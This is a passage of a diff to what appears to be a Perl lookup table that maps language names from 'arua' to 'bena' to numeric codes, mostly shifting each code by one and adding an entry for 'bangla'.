+      q(0933),
       q(0),
       ],
    q(artificial languages) => [
@@ -25897,23 +25915,23 @@
       q(0),
       ],
    q(arua (amazonas state)) => [
-      q(0880),
+      q(0881),
       q(0),
       ],
    q(arua (rodonia state)) => [
-      q(0882),
+      q(0883),
       q(0),
       ],
    q(aruamu) => [
-      q(4545),
+      q(4546),
       q(0),
       ],
    q(aruek) => [
-      q(0948),
+      q(0949),
       q(0),
       ],
    q(arumanian) => [
-      q(0362),
+      q(0363),
       q(1),
       ],
    q(aruop) => [
@@ -25921,63 +25939,63 @@
       q(0),
       ],
    q(arutani) => [
-      q(0930),
+      q(0931),
       q(0),
       ],
    q(arvanitika albanian) => [
-      q(0554),
+      q(0555),
       q(0),
       ],
    q(as) => [
-      q(0908),
+      q(0909),
       q(0),
       ],
    q(asaro'o) => [
-      q(4568),
+      q(4569),
       q(0),
       ],
    q(asas) => [
-      q(0888),
+      q(0889),
       q(0),
       ],
    q(ashaninka) => [
-      q(1796),
+      q(1797),
       q(0),
       ],
    q(ashe) => [
-      q(0689),
+      q(0690),
       q(0),
       ],
    q(asheninka pajonal) => [
-      q(1746),
+      q(1747),
       q(0),
       ],
    q(asheninka perene) => [
-      q(5590),
+      q(5593),
       q(0),
       ],
    q(ashkun) => [
-      q(0895),
+      q(0896),
       q(0),
       ],
    q(asho chin) => [
-      q(1866),
+      q(1867),
       q(0),
       ],
    q(ashtiani) => [
-      q(0920),
+      q(0921),
       q(0),
       ],
    q(asilulu) => [
-      q(0896),
+      q(0897),
       q(0),
       ],
    q(askopan) => [
-      q(2225),
+      q(2226),
       q(0),
       ],
    q(asoa) => [
-      q(0904),
+      q(0905),
       q(0),
       ],
    q(assamese) => [
@@ -25985,19 +26003,19 @@
       q(0),
       ],
    q(assan) => [
-      q(7485),
+      q(7488),
       q(0),
       ],
    q(assangori) => [
-      q(6049),
+      q(6050),
       q(0),
       ],
    q(assiniboine) => [
-      q(0886),
+      q(0887),
       q(0),
       ],
    q(assyrian neo-aramaic) => [
-      q(0699),
+      q(0700),
       q(0),
       ],
    q(asturian) => [
@@ -26009,47 +26027,47 @@
       q(3),
       ],
    q(asu (nigeria)) => [
-      q(0943),
+      q(0944),
       q(0),
       ],
    q(asu (tanzania)) => [
-      q(0885),
+      q(0886),
       q(0),
       ],
    q(asue awyu) => [
-      q(5598),
+      q(5601),
       q(0),
       ],
    q(asumboa) => [
-      q(0933),
+      q(0934),
       q(0),
       ],
    q(asuncion mixtepec zapotec) => [
-      q(7892),
+      q(7895),
       q(0),
       ],
    q(asuri) => [
-      q(0901),
+      q(0902),
       q(0),
       ],
    q(ata) => [
-      q(0919),
+      q(0920),
       q(0),
       ],
    q(ata manobo) => [
-      q(0912),
+      q(0913),
       q(0),
       ],
    q(atakapa) => [
-      q(0864),
+      q(0865),
       q(0),
       ],
    q(atampaya) => [
-      q(0789),
+      q(0790),
       q(0),
       ],
    q(atatlahuca mixtec) => [
-      q(4291),
+      q(4292),
       q(0),
       ],
    q(atayal) => [
@@ -26057,7 +26075,7 @@
       q(0),
       ],
    q(atemble) => [
-      q(0913),
+      q(0914),
       q(0),
       ],
    q(athapascan languages) => [
@@ -26065,87 +26083,87 @@
       q(0),
       ],
    q(athpariya) => [
-      q(0840),
+      q(0841),
       q(0),
       ],
    q(ati) => [
-      q(0917),
+      q(0918),
       q(0),
       ],
    q(atikamekw) => [
-      q(0916),
+      q(0917),
       q(0),
       ],
    q(atlantic-congo languages) => [
-      q(0488),
+      q(0489),
       q(0),
       ],
    q(atohwaim) => [
-      q(0862),
+      q(0863),
       q(0),
       ],
    q(atong (cameroon)) => [
-      q(0921),
+      q(0922),
       q(0),
       ],
    q(atong (india)) => [
-      q(0830),
+      q(0831),
       q(0),
       ],
    q(atorada) => [
-      q(0832),
+      q(0833),
       q(0),
       ],
    q(atsahuaca) => [
-      q(0911),
+      q(0912),
       q(0),
       ],
    q(atsam) => [
-      q(1681),
+      q(1682),
       q(0),
       ],
    q(atsugewi) => [
-      q(0929),
+      q(0930),
       q(0),
       ],
    q(attapady kurumba) => [
-      q(5475),
+      q(5479),
       q(0),
       ],
    q(attie) => [
-      q(0915),
+      q(0916),
       q(0),
       ],
    q(atzingo matlatzinca) => [
-      q(5191),
+      q(5195),
       q(0),
       ],
    q(au) => [
-      q(0964),
+      q(0965),
       q(0),
       ],
    q(aulua) => [
-      q(0942),
+      q(0943),
       q(0),
       ],
    q(aura) => [
-      q(0952),
+      q(0953),
       q(0),
       ],
    q(aushi) => [
-      q(0938),
+      q(0939),
       q(0),
       ],
    q(aushiri) => [
-      q(0963),
+      q(0964),
       q(0),
       ],
    q(austral) => [
-      q(0949),
+      q(0950),
       q(0),
       ],
    q(australian aborigines sign language) => [
-      q(0905),
+      q(0906),
       q(0),
       ],
    q(australian languages) => [
@@ -26153,19 +26171,19 @@
       q(0),
       ],
    q(australian sign language) => [
-      q(0890),
+      q(0891),
       q(0),
       ],
    q(austrian sign language) => [
-      q(0900),
+      q(0901),
       q(0),
       ],
    q(austro-asiatic languages) => [
-      q(0487),
+      q(0488),
       q(0),
       ],
    q(austronesian languages) => [
-      q(0271),
+      q(0272),
       q(0),
       ],
    q(auwe) => [
@@ -26173,19 +26191,19 @@
       q(0),
       ],
    q(auye) => [
-      q(0950),
+      q(0951),
       q(0),
       ],
    q(auyokawa) => [
-      q(0945),
+      q(0946),
       q(0),
       ],
    q(ava guarani) => [
-      q(4854),
+      q(4856),
       q(1),
       ],
    q(ava-canoeiro) => [
-      q(0966),
+      q(0967),
       q(0),
       ],
    q(avaric) => [
@@ -26193,11 +26211,11 @@
       q(0),
       ],
    q(avatime) => [
-      q(0961),
+      q(0962),
       q(0),
       ],
    q(avau) => [
-      q(0955),
+      q(0956),
       q(0),
       ],
    q(avava) => [
@@ -26209,19 +26227,19 @@
       q(0),
       ],
    q(avikam) => [
-      q(0957),
+      q(0958),
       q(0),
       ],
    q(avokaya) => [
-      q(0965),
+      q(0966),
       q(0),
       ],
    q(awa (china)) => [
-      q(7039),
+      q(7040),
       q(0),
       ],
    q(awa (papua new guinea)) => [
-      q(0967),
+      q(0968),
       q(0),
       ],
    q(awa-cuaiquer) => [
@@ -26229,11 +26247,11 @@
       q(0),
       ],
    q(awabakal) => [
-      q(0973),
+      q(0974),
       q(0),
       ],
    q(awad bing) => [
-      q(1084),
+      q(1085),
       q(0),
       ],
    q(awadhi) => [
@@ -26241,119 +26259,119 @@
       q(0),
       ],
    q(awak) => [
-      q(0976),
+      q(0977),
       q(0),
       ],
    q(awar) => [
-      q(0992),
+      q(0993),
       q(0),
       ],
    q(awara) => [
-      q(0983),
+      q(0984),
       q(0),
       ],
    q(awbono) => [
-      q(0971),
+      q(0972),
       q(0),
       ],
    q(aweer) => [
-      q(1352),
+      q(1353),
       q(0),
       ],
    q(awera) => [
-      q(0977),
+      q(0978),
       q(0),
       ],
    q(aweti) => [
-      q(0969),
+      q(0970),
       q(0),
       ],
    q(awing) => [
-      q(1019),
+      q(1020),
       q(0),
       ],
    q(awiyaana) => [
-      q(0953),
+      q(0954),
       q(0),
       ],
    q(awjilah) => [
-      q(0940),
+      q(0941),
       q(0),
       ],
    q(awngi) => [
-      q(0975),
+      q(0976),
       q(0),
       ],
    q(awngthim) => [
-      q(2682),
+      q(2684),
       q(0),
       ],
    q(awtuw) => [
-      q(3463),
+      q(3464),
       q(0),
       ],
    q(awu) => [
-      q(7642),
+      q(7645),
       q(0),
       ],
    q(awun) => [
-      q(0982),
+      q(0983),
       q(0),
       ],
    q(awutu) => [
-      q(0650),
+      q(0651),
       q(0),
       ],
    q(awyi) => [
-      q(0951),
+      q(0952),
       q(0),
       ],
    q(axamb) => [
-      q(0678),
+      q(0679),
       q(0),
       ],
    q(axi yi) => [
-      q(7644),
+      q(7647),
       q(0),
       ],
    q(ayabadhu) => [
-      q(0995),
+      q(0996),
       q(0),
       ],
    q(ayacucho quechua) => [
-      q(5687),
+      q(5689),
       q(0),
       ],
    q(ayangan ifugao) => [
-      q(2907),
+      q(2910),
       q(1),
       ],
    q(ayautla mazatec) => [
-      q(7023),
+      q(7024),
       q(0),
       ],
    q(ayere) => [
-      q(0996),
+      q(0997),
       q(0),
       ],
    q(ayerrerenge) => [
-      q(0986),
+      q(0987),
       q(0),
       ],
    q(ayi (papua new guinea)) => [
-      q(1005),
+      q(1006),
       q(0),
       ],
    q(ayiwo) => [
-      q(4823),
+      q(4825),
       q(0),
       ],
    q(ayizi) => [
-      q(7784),
+      q(7787),
       q(0),
       ],
    q(ayizo gbe) => [
-      q(0993),
+      q(0994),
       q(0),
       ],
    q(aymara) => [
@@ -26361,19 +26379,19 @@
       q(0),
       ],
    q(ayoquesco zapotec) => [
-      q(7792),
+      q(7795),
       q(0),
       ],
    q(ayoreo) => [
-      q(1003),
+      q(1004),
       q(0),
       ],
    q(ayu) => [
-      q(1009),
+      q(1010),
       q(0),
       ],
    q(ayutla mixtec) => [
-      q(4310),
+      q(4311),
       q(0),
       ],
    q(azerbaijani) => [
@@ -26381,11 +26399,11 @@
       q(0),
       ],
    q(azha) => [
-      q(1012),
+      q(1013),
       q(0),
       ],
    q(azhe) => [
-      q(7645),
+      q(7648),
       q(0),
       ],
    q(azoyu me'phaa) => [
@@ -26397,43 +26415,43 @@
       q(1),
       ],
    q(baan) => [
-      q(1524),
+      q(1525),
       q(0),
       ],
    q(baangi) => [
-      q(1419),
+      q(1420),
       q(0),
       ],
    q(baatonum) => [
-      q(1038),
+      q(1039),
       q(0),
       ],
    q(baba) => [
-      q(1060),
+      q(1061),
       q(0),
       ],
    q(baba malay) => [
-      q(4124),
+      q(4125),
       q(0),
       ],
    q(babalia creole arabic) => [
-      q(1063),
+      q(1064),
       q(0),
       ],
    q(babango) => [
-      q(1050),
+      q(1051),
       q(0),
       ],
    q(babanki) => [
-      q(1048),
+      q(1049),
       q(0),
       ],
    q(babatana) => [
-      q(1022),
+      q(1023),
       q(0),
       ],
    q(babine) => [
-      q(1081),
+      q(1082),
       q(0),
       ],
    q(bable) => [
@@ -26441,79 +26459,79 @@
       q(1),
       ],
    q(babuza) => [
-      q(1617),
+      q(1618),
       q(0),
       ],
    q(bacama) => [
-      q(1087),
+      q(1088),
       q(0),
       ],
    q(bacanese malay) => [
-      q(1478),
+      q(1479),
       q(0),
       ],
    q(bactrian) => [
-      q(7279),
+      q(7281),
       q(0),
       ],
    q(bada (indonesia)) => [
-      q(1208),
+      q(1209),
       q(0),
       ],
    q(bada (nigeria)) => [
-      q(1033),
+      q(1034),
       q(0),
       ],
    q(badaga) => [
-      q(1152),
+      q(1153),
       q(0),
       ],
    q(bade) => [
-      q(1093),
+      q(1094),
       q(0),
       ],
    q(badeshi) => [
-      q(1114),
+      q(1115),
       q(0),
       ],
    q(badi kanum) => [
-      q(3331),
+      q(3332),
       q(0),
       ],
    q(badimaya) => [
-      q(1209),
+      q(1210),
       q(0),
       ],
    q(badjiri) => [
-      q(3057),
+      q(3060),
       q(0),
       ],
    q(badui) => [
-      q(1024),
+      q(1025),
       q(0),
       ],
    q(badyara) => [
-      q(5366),
+      q(5370),
       q(0),
       ],
    q(baeggu) => [
-      q(1518),
+      q(1519),
       q(0),
       ],
    q(baelelea) => [
-      q(1517),
+      q(1518),
       q(0),
       ],
    q(baetora) => [
-      q(1484),
+      q(1485),
       q(0),
       ],
    q(bafanji) => [
-      q(1145),
+      q(1146),
       q(0),
       ],
    q(bafaw-balong) => [
-      q(1559),
+      q(1560),
       q(0),
       ],
    q(bafia) => [
@@ -26521,59 +26539,59 @@
       q(0),
       ],
    q(bafut) => [
-      q(1139),
+      q(1140),
       q(0),
       ],
    q(baga kaloum) => [
-      q(1401),
+      q(1402),
       q(0),
       ],
    q(baga koga) => [
-      q(1173),
+      q(1174),
       q(0),
       ],
    q(baga manduri) => [
-      q(1305),
+      q(1306),
       q(0),
       ],
    q(baga pokur) => [
-      q(1070),
+      q(1071),
       q(0),
       ],
    q(baga sitemu) => [
-      q(1460),
+      q(1461),
       q(0),
       ],
    q(baga sobane) => [
-      q(1466),
+      q(1467),
       q(0),
       ],
    q(bagheli) => [
-      q(1159),
+      q(1160),
       q(0),
       ],
    q(bagirmi) => [
-      q(1310),
+      q(1311),
       q(0),
       ],
    q(bagirmi fulfulde) => [
-      q(2383),
+      q(2384),
       q(0),
       ],
    q(bago-kusuntu) => [
-      q(1402),
+      q(1403),
       q(0),
       ],
    q(bagri) => [
-      q(1175),
+      q(1176),
       q(0),
       ],
    q(bagupi) => [
-      q(1379),
+      q(1380),
       q(0),
       ],
    q(bagusa) => [
-      q(1398),
+      q(1399),
       q(0),
       ],
    q(bagvalal) => [
@@ -26581,171 +26599,171 @@
       q(0),
       ],
    q(baha buyang) => [
-      q(7624),
+      q(7627),
       q(0),
       ],
    q(baham) => [
-      q(1111),
+      q(1112),
       q(0),
       ],
    q(bahamas creole english) => [
-      q(1028),
+      q(1029),
       q(0),
       ],
    q(baharna arabic) => [
-      q(0579),
+      q(0580),
       q(0),
       ],
    q(bahau) => [
-      q(1204),
+      q(1205),
       q(0),
       ],
    q(bahinemo) => [
-      q(1236),
+      q(1237),
       q(0),
       ],
    q(bahing) => [
-      q(1194),
+      q(1195),
       q(0),
       ],
    q(bahnar) => [
-      q(1105),
+      q(1106),
       q(0),
       ],
    q(bahonsuai) => [
-      q(1465),
+      q(1466),
       q(0),
       ],
    q(bai) => [
-      q(1098),
+      q(1099),
       q(0),
       ],
    q(baibai) => [
-      q(1043),
+      q(1044),
       q(0),
       ],
    q(baikeno) => [
-      q(1275),
+      q(1276),
       q(0),
       ],
    q(baima) => [
-      q(1403),
+      q(1404),
       q(0),
       ],
    q(baimak) => [
-      q(1325),
+      q(1326),
       q(0),
       ],
    q(bainouk-gunyaamolo) => [
-      q(1088),
+      q(1089),
       q(0),
       ],
    q(bainouk-gunyuno) => [
-      q(1023),
+      q(1024),
       q(0),
       ],
    q(bainouk-samik) => [
-      q(1065),
+      q(1066),
       q(0),
       ],
    q(baiso) => [
-      q(1467),
+      q(1468),
       q(0),
       ],
    q(baissa fali) => [
-      q(2323),
+      q(2324),
       q(0),
       ],
    q(bajan) => [
-      q(1246),
+      q(1247),
       q(0),
       ],
    q(bajelani) => [
-      q(1241),
+      q(1242),
       q(0),
       ],
    q(baka (cameroon)) => [
-      q(1255),
+      q(1256),
       q(0),
       ],
    q(baka (sudan)) => [
-      q(1096),
+      q(1097),
       q(0),
       ],
    q(bakairi) => [
-      q(1268),
+      q(1269),
       q(0),
       ],
    q(bakaka) => [
-      q(1421),
+      q(1422),
       q(0),
       ],
    q(bakhtiari) => [
-      q(1404),
+      q(1405),
       q(0),
       ],
    q(baki) => [
-      q(1260),
+      q(1261),
       q(0),
       ],
    q(bakoko) => [
-      q(1259),
+      q(1260),
       q(0),
       ],
    q(bakole) => [
-      q(3454),
+      q(3455),
       q(0),
       ],
    q(bakpinka) => [
-      q(1056),
+      q(1057),
       q(0),
       ],
    q(bakumpai) => [
-      q(1269),
+      q(1270),
       q(0),
       ],
    q(bakwe) => [
-      q(1250),
+      q(1251),
       q(0),
       ],
    q(balaesang) => [
-      q(1295),
+      q(1296),
       q(0),
       ],
    q(balangao) => [
-      q(1298),
+      q(1299),
       q(0),
       ],
    q(balangingi) => [
-      q(6223),
+      q(6222),
       q(0),
       ],
    q(balanta-ganja) => [
-      q(1247),
+      q(1248),
       q(0),
       ],
    q(balanta-kentohe) => [
-      q(1281),
+      q(1282),
       q(0),
       ],
    q(balantak) => [
-      q(1301),
+      q(1302),
       q(0),
       ],
    q(balau) => [
-      q(1283),
+      q(1284),
       q(0),
       ],
    q(baldemu) => [
-      q(1102),
+      q(1103),
       q(0),
       ],
    q(bali (democratic republic of congo)) => [
-      q(1079),
+      q(1080),
       q(0),
       ],
    q(bali (nigeria)) => [
-      q(1077),
+      q(1078),
       q(0),
       ],
    q(balinese) => [
@@ -26753,27 +26771,27 @@
       q(0),
       ],
    q(balinese malay) => [
-      q(4280),
+      q(4281),
       q(0),
       ],
    q(balkan gagauz turkish) => [
-      q(1182),
+      q(1183),
       q(0),
       ],
    q(balkan romani) => [
-      q(5806),
+      q(5807),
       q(0),
       ],
    q(balo) => [
-      q(1410),
+      q(1411),
       q(0),
       ],
    q(baloi) => [
-      q(1229),
+      q(1230),
       q(0),
       ],
    q(balti) => [
-      q(1155),
+      q(1156),
       q(0),
       ],
    q(baltic languages) => [
@@ -26781,11 +26799,11 @@
       q(0),
       ],
    q(baltic romani) => [
-      q(5804),
+      q(5805),
       q(0),
       ],
    q(baluan-pam) => [
-      q(1293),
+      q(1294),
       q(0),
       ],
    q(baluchi) => [
@@ -26793,19 +26811,19 @@
       q(0),
       ],
    q(bamako sign language) => [
-      q(1355),
+      q(1356),
       q(0),
       ],
    q(bamali) => [
-      q(1054),
+      q(1055),
       q(0),
       ],
    q(bambalang) => [
-      q(1316),
+      q(1317),
       q(0),
       ],
    q(bambam) => [
-      q(5626),
+      q(5629),
       q(0),
       ],
    q(bambara) => [
@@ -26813,15 +26831,15 @@
       q(0),
       ],
    q(bambassi) => [
-      q(4669),
+      q(4670),
       q(0),
       ],
    q(bambili-bambui) => [
-      q(1035),
+      q(1036),
       q(0),
       ],
    q(bamenyam) => [
-      q(1068),
+      q(1069),
       q(0),
       ],
    q(bamileke languages) => [
@@ -26829,47 +26847,47 @@
       q(0),
       ],
    q(bamu) => [
-      q(1069),
+      q(1070),
       q(0),
       ],
    q(bamukumbit) => [
-      q(1415),
+      q(1416),
       q(0),
       ],
    q(bamun) => [
-      q(1036),
+      q(1037),
       q(0),
       ],
    q(bamunka) => [
-      q(1527),
+      q(1528),
       q(0),
       ],
    q(bamwe) => [
-      q(1308),
+      q(1309),
       q(0),
       ],
    q(ban khor sign language) => [
-      q(1146),
+      q(1147),
       q(0),
       ],
    q(bana) => [
-      q(1086),
+      q(1087),
       q(0),
       ],
    q(banam bay) => [
-      q(7031),
+      q(7032),
       q(1),
       ],
    q(banao itneg) => [
-      q(1251),
+      q(1252),
       q(0),
       ],
    q(banaro) => [
-      q(1610),
+      q(1611),
       q(0),
       ],
    q(banda (indonesia)) => [
-      q(1330),
+      q(1331),
       q(0),
       ],
    q(banda languages) => [
@@ -26877,7 +26895,7 @@
       q(0),
       ],
    q(banda malay) => [
-      q(1387),
+      q(1388),
       q(0),
       ],
    q(banda-bambari) => [
@@ -26885,127 +26903,131 @@
       q(0),
       ],
    q(banda-banda) => [
-      q(1376),
+      q(1377),
       q(0),
       ],
    q(banda-mbres) => [
-      q(1406),
+      q(1407),
       q(0),
       ],
    q(banda-ndele) => [
-      q(1147),
+      q(1148),
       q(0),
       ],
    q(banda-yangere) => [
-      q(7566),
+      q(7569),
       q(0),
       ],
    q(bandi) => [
-      q(1611),
+      q(1612),
       q(0),
       ],
    q(bandial) => [
-      q(1405),
+      q(1406),
       q(0),
       ],
    q(bandjalang) => [
-      q(1113),
+      q(1114),
       q(0),
       ],
    q(bangala) => [
-      q(1571),
+      q(1572),
       q(0),
       ],
    q(bangandu) => [
-      q(1166),
+      q(1167),
       q(0),
       ],
    q(bangba) => [
-      q(1042),
+      q(1043),
       q(0),
       ],
    q(banggai) => [
-      q(1184),
+      q(1185),
       q(0),
       ],
    q(banggarla) => [
-      q(1231),
+      q(1232),
       q(0),
       ],
    q(bangi) => [
-      q(1334),
+      q(1335),
       q(0),
       ],
    q(bangime) => [
-      q(1949),
+      q(1950),
       q(0),
       ],
    q(bangingih sama) => [
-      q(6223),
+      q(6222),
       q(1),
       ],
    q(bangka) => [
-      q(4217),
+      q(4218),
       q(0),
       ],
+   q(bangla) => [
+      q(0050),
+      q(1),
+      ],
    q(bangolan) => [
-      q(1169),
+      q(1170),
       q(0),
       ],
    q(bangubangu) => [
-      q(1348),
+      q(1349),
       q(0),
       ],
    q(bangwinji) => [
-      q(1454),
+      q(1455),
       q(0),
       ],
    q(baniva) => [
-      q(1535),
+      q(1536),
       q(0),
       ],
    q(baniwa) => [
-      q(1548),
+      q(1549),
       q(0),
       ],
    q(banjar) => [
-      q(1242),
+      q(1243),
       q(0),
       ],
    q(bankagooma) => [
-      q(1586),
+      q(1587),
       q(0),
       ],
    q(bankal) => [
-      q(3104),
+      q(3106),
       q(0),
       ],
    q(bankan tey dogon) => [
-      q(1967),
+      q(1968),
       q(0),
       ],
    q(bankon) => [
-      q(0560),
+      q(0561),
       q(0),
       ],
    q(bannoni) => [
-      q(1076),
+      q(1077),
       q(0),
       ],
    q(bantawa) => [
-      q(1031),
+      q(1032),
       q(0),
       ],
    q(bantayanon) => [
-      q(1158),
+      q(1159),
       q(0),
       ],
    q(bantik) => [
-      q(1342),
+      q(1343),
       q(0),
       ],
    q(bantoanon) => [
-      q(1340),
+      q(1341),
       q(0),
       ],
    q(bantu (other)) => [
@@ -27017,27 +27039,27 @@
       q(1),
       ],
    q(baoule) => [
-      q(1072),
+      q(1073),
       q(0),
       ],
    q(bara malagasy) => [
-      q(1200),
+      q(1201),
       q(0),
       ],
    q(baraamu) => [
-      q(1424),
+      q(1425),
       q(0),
       ],
    q(barababaraba) => [
-      q(5750),
+      q(5752),
       q(0),
       ],
    q(barai) => [
-      q(1039),
+      q(1040),
       q(0),
       ],
    q(barakai) => [
-      q(1029),
+      q(1030),
       q(0),
       ],
    q(baram kayan) => [
@@ -27045,87 +27067,87 @@
       q(0),
       ],
    q(barama) => [
-      q(1044),
+      q(1045),
       q(0),
       ],
    q(barambu) => [
-      q(1432),
+      q(1433),
       q(0),
       ],
    q(baramu) => [
-      q(1326),
+      q(1327),
       q(0),
       ],
    q(barapasi) => [
-      q(1435),
+      q(1436),
       q(0),
       ],
    q(baras) => [
-      q(1438),
+      q(1439),
       q(0),
       ],
    q(barasana-eduria) => [
-      q(1458),
+      q(1459),
       q(0),
       ],
    q(barbacoas) => [
-      q(1375),
+      q(1376),
       q(0),
       ],
    q(barbaram) => [
-      q(7003),
+      q(7004),
       q(0),
       ],
    q(barbareno) => [
-      q(1357),
+      q(1358),
       q(0),
       ],
    q(barclayville grebo) => [
-      q(2626),
+      q(2628),
       q(0),
       ],
    q(bardi) => [
-      q(1073),
+      q(1074),
       q(0),
       ],
    q(bare) => [
-      q(1025),
+      q(1026),
       q(0),
       ],
    q(barein) => [
-      q(1515),
+      q(1516),
       q(0),
       ],
    q(bargam) => [
-      q(4373),
+      q(4374),
       q(0),
       ],
    q(bari) => [
-      q(1136),
+      q(1137),
       q(0),
       ],
    q(bariai) => [
-      q(1071),
+      q(1072),
       q(0),
       ],
    q(bariji) => [
-      q(1232),
+      q(1233),
       q(0),
       ],
    q(barikanchi) => [
-      q(1579),
+      q(1580),
       q(0),
       ],
    q(barikewa) => [
-      q(3059),
+      q(3062),
       q(0),
       ],
    q(barok) => [
-      q(1239),
+      q(1240),
       q(0),
       ],
    q(barombi) => [
-      q(1046),
+      q(1047),
       q(0),
       ],
    q(barro negro tunebo) => [
@@ -27133,23 +27155,23 @@
       q(0),
       ],
    q(barrow point) => [
-      q(1390),
+      q(1391),
       q(0),
       ],
    q(baruga) => [
-      q(1253),
+      q(1254),
       q(0),
       ],
    q(baruya) => [
-      q(1604),
+      q(1605),
       q(0),
       ],
    q(barwe) => [
-      q(1546),
+      q(1547),
       q(0),
       ],
    q(barzani jewish neo-aramaic) => [
-      q(1234),
+      q(1235),
       q(0),
       ],
    q(basa) => [
@@ -27161,27 +27183,27 @@
       q(1),
       ],
    q(basa (nigeria)) => [
-      q(1633),
+      q(1634),
       q(0),
       ],
    q(basa-gumna) => [
-      q(1456),
+      q(1457),
       q(0),
       ],
    q(basa-gurmana) => [
-      q(1500),
+      q(1501),
       q(0),
       ],
    q(basap) => [
-      q(1090),
+      q(1091),
       q(0),
       ],
    q(basay) => [
-      q(1603),
+      q(1604),
       q(0),
       ],
    q(bashkardi) => [
-      q(1451),
+      q(1452),
       q(0),
       ],
    q(bashkir) => [
@@ -27189,7 +27211,7 @@
       q(0),
       ],
    q(basketo) => [
-      q(1464),
+      q(1465),
       q(0),
       ],
    q(basque) => [
@@ -27197,51 +27219,51 @@
       q(0),
       ],
    q(basque (family)) => [
-      q(0503),
+      q(0504),
       q(0),
       ],
    q(bassa) => [
-      q(1461),
+      q(1462),
       q(0),
       ],
    q(bassa-kontagora) => [
-      q(1462),
+      q(1463),
       q(0),
       ],
    q(bassari) => [
-      q(1448),
+      q(1449),
       q(0),
       ],
    q(bassossi) => [
-      q(1453),
+      q(1454),
       q(0),
       ],
    q(bata) => [
-      q(1470),
+      q(1471),
       q(0),
       ],
    q(batad ifugao) => [
-      q(2907),
+      q(2910),
       q(0),
       ],
    q(batak) => [
-      q(1588),
+      q(1589),
       q(0),
       ],
    q(batak alas-kluet) => [
-      q(1492),
+      q(1493),
       q(0),
       ],
    q(batak angkola) => [
-      q(0722),
+      q(0723),
       q(0),
       ],
    q(batak dairi) => [
-      q(1472),
+      q(1473),
       q(0),
       ],
    q(batak karo) => [
-      q(1490),
+      q(1491),
       q(0),
       ],
    q(batak languages) => [
@@ -27249,63 +27271,63 @@
       q(0),
       ],
    q(batak mandailing) => [
-      q(1479),
+      q(1480),
       q(0),
       ],
    q(batak simalungun) => [
-      q(1485),
+      q(1486),
       q(0),
       ],
    q(batak toba) => [
-      q(1040),
+      q(1041),
       q(0),
       ],
    q(batanga) => [
-      q(1338),
+      q(1339),
       q(0),
       ],
    q(batek) => [
-      q(1483),
+      q(1484),
       q(0),
       ],
    q(bateri) => [
-      q(1488),
+      q(1489),
       q(0),
       ],
    q(bathari) => [
-      q(1196),
+      q(1197),
       q(0),
       ],
    q(bati (cameroon)) => [
-      q(1471),
+      q(1472),
       q(0),
       ],
    q(bati (indonesia)) => [
-      q(1533),
+      q(1534),
       q(0),
       ],
    q(bats) => [
-      q(1049),
+      q(1050),
       q(0),
       ],
    q(batu) => [
-      q(1487),
+      q(1488),
       q(0),
       ],
    q(batui) => [
-      q(7813),
+      q(7816),
       q(0),
       ],
    q(batuley) => [
-      q(1037),
+      q(1038),
       q(0),
       ],
    q(batyala) => [
-      q(7291),
+      q(7293),
       q(0),
       ],
    q(bau) => [
-      q(1041),
+      q(1042),
       q(0),
       ],
    q(bau bidayuh) => [
@@ -27313,87 +27335,87 @@
       q(0),
       ],
    q(bauchi) => [
-      q(1450),
+      q(1451),
       q(0),
       ],
    q(baure) => [
-      q(1426),
+      q(1427),
       q(0),
       ],
    q(bauria) => [
-      q(1165),
+      q(1166),
       q(0),
       ],
    q(bauwaki) => [
-      q(1550),
+      q(1551),
       q(0),
       ],
    q(bauzi) => [
-      q(1539),
+      q(1540),
       q(0),
       ],
    q(bavarian) => [
-      q(1032),
+      q(1033),
       q(0),
       ],
    q(bawm chin) => [
-      q(1176),
+      q(1177),
       q(0),
       ],
    q(bay miwok) => [
-      q(4350),
+      q(4351),
       q(0),
       ],
    q(bayali) => [
-      q(1252),
+      q(1253),
       q(0),
       ],
    q(baybayanon) => [
-      q(1538),
+      q(1539),
       q(0),
       ],
    q(baygo) => [
-      q(1594),
+      q(1595),
       q(0),
       ],
    q(bayono) => [
-      q(1599),
+      q(1600),
       q(0),
       ],
    q(bayot) => [
-      q(1089),
+      q(1090),
       q(0),
       ],
    q(bayungu) => [
-      q(1574),
+      q(1575),
       q(0),
       ],
    q(bazigar) => [
-      q(1153),
+      q(1154),
       q(0),
       ],
    q(beami) => [
-      q(1125),
+      q(1126),
       q(0),
       ],
    q(beaver) => [
-      q(1115),
+      q(1116),
       q(0),
       ],
    q(beba) => [
-      q(1151),
+      q(1152),
       q(0),
       ],
    q(bebele) => [
-      q(1116),
+      q(1117),
       q(0),
       ],
    q(bebeli) => [
-      q(1124),
+      q(1125),
       q(0),
       ],
    q(bebil) => [
-      q(1580),
+      q(1581),
       q(0),
       ],
    q(bedawiyet) => [
@@ -27401,35 +27423,35 @@
       q(1),
       ],
    q(bedjond) => [
-      q(1249),
+      q(1250),
       q(0),
       ],
    q(bedoanas) => [
-      q(1118),
+      q(1119),
       q(0),
       ],
    q(beeke) => [
-      q(1257),
+      q(1258),
       q(0),
       ],
    q(beele) => [
-      q(1581),
+      q(1582),
       q(0),
       ],
    q(beembe) => [
-      q(1127),
+      q(1128),
       q(0),
       ],
    q(beezen) => [
-      q(1350),
+      q(1351),
       q(0),
       ],
    q(befang) => [
-      q(1062),
+      q(1063),
       q(0),
       ],
    q(begbere-ejar) => [
-      q(1417),
+      q(1418),
       q(1),
       ],
    q(beja) => [
@@ -27437,27 +27459,27 @@
       q(0),
       ],
    q(bekati') => [
-      q(1123),
+      q(1124),
       q(0),
       ],
    q(bekwarra) => [
-      q(1273),
+      q(1274),
       q(0),
       ],
    q(bekwel) => [
-      q(1274),
+      q(1275),
       q(0),
       ],
    q(belait) => [
-      q(1121),
+      q(1122),
       q(0),
       ],
    q(belanda bor) => [
-      q(1566),
+      q(1567),
       q(0),
       ],
    q(belanda viri) => [
-      q(1523),
+      q(1524),
       q(0),
       ],
    q(belarusian) => [
@@ -27465,27 +27487,27 @@
       q(0),
       ],
    q(belhariya) => [
-      q(1608),
+      q(1609),
       q(0),
       ],
    q(beli (papua new guinea)) => [
-      q(1134),
+      q(1135),
       q(0),
       ],
    q(beli (sudan)) => [
-      q(1289),
+      q(1290),
       q(0),
       ],
    q(belize kriol english) => [
-      q(1620),
+      q(1621),
       q(0),
       ],
    q(bella coola) => [
-      q(1279),
+      q(1280),
       q(0),
       ],
    q(bellari) => [
-      q(1442),
+      q(1443),
       q(0),
       ],
    q(bemba) => [
@@ -27497,47 +27519,47 @@
       q(1),
       ],
    q(bembe) => [
-      q(1303),
+      q(1304),
       q(0),
       ],
    q(ben tey dogon) => [
-      q(1964),
+      q(1965),
       q(0),
       ],
    q(bena (nigeria)) => [
